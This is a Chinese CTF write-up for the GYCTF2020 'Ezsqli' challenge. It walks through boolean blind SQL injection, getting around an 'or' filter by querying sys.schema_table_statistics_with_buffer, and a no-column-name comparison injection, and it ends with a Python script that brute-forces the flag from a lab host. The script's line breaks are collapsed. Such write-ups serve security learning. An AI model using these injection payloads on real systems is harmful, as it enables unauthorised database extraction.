当前位置: 代码迷 >> 综合 >> [GYCTF2020]Ezsqli -wp
  详细解决方案

[GYCTF2020]Ezsqli -wp

热度:11   发布时间:2024-02-11 10:24:56.0

在这里插入图片描述
打开容器后可以看到一个提交框
尝试一下发现可以进行bool盲注0^1
0^(ascii(substr((select database()),1,1))>0)
可以比较顺利的查到库名

give_grandpa_pa_pa_pa

fuzz后可以发现过滤了or,所以information_schema无法使用,但可以使用sys.schema_table_statistics_with_buffer代替

在这里插入图片描述

id=0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>0)

可以得出表名为f1ag_1s_h3r3_hhhhh
表名出来后需要使用无列名注入

0^((1,' g')>(select * from f1ag_1s_h3r3_hhhhh))

原理大概就是使用单引号里面的字母与表中数据的字母进行比较,其实就是进行ascii的比较,比如:
b>a
abd>abc
baaaa>abbb //第一个字母大就整体判断为大,如果第一个字母相同再对第二个进行比较。
那么进过了简单的手工尝试可以知道前面几位为FLAG{
那么后面的用脚本跑一下即可。
buu的环境访问太快会429,可以慢慢来,跑出几位就网flag里加几个,慢慢的可以跑出来。当然有能力直接控制线程当然最好。

import requests
url = 'http://bb098698-4715-4fbf-853c-23007c53cb41.node3.buuoj.cn/index.php'
flag='FLAG{'
for j in range(1,50):for x in range(28, 128):flag1 = flag+chr(x)payload = "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)data = {'id': payload}re = requests.post(url=url, data=data)if 'Nu1L' in re.text:break;flag  += chr(x-1)print(flag)print(flag.lower())

在这里插入图片描述